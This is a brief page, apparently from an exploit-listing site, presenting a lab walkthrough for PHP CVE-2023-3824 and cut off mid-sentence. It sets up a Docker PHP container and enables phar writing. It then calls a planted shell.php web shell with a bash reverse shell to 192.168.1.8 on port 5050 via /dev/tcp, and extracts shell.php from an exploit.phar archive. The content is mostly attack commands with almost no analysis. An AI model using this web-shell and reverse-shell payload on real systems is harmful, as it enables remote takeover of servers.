PHP内存缓冲区操作限制不当漏洞利用分析(CVE-2023-3824)

Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in PHP CVE-2023-3824

2025-09-23 | CVSS 9.8

1

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash

1

echo "phar.readonly = Off" >> /usr/local/etc/php/php.ini

远程命令执行：

1

http://localhost:8080/shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.1.8/5050 0>%261'

PHAR文件提取：

1

php -r "\$phar = new Phar('exploit.phar'); \$phar->extractTo('./', 'shell.php');"

该漏洞利用涉及以下关键技术点：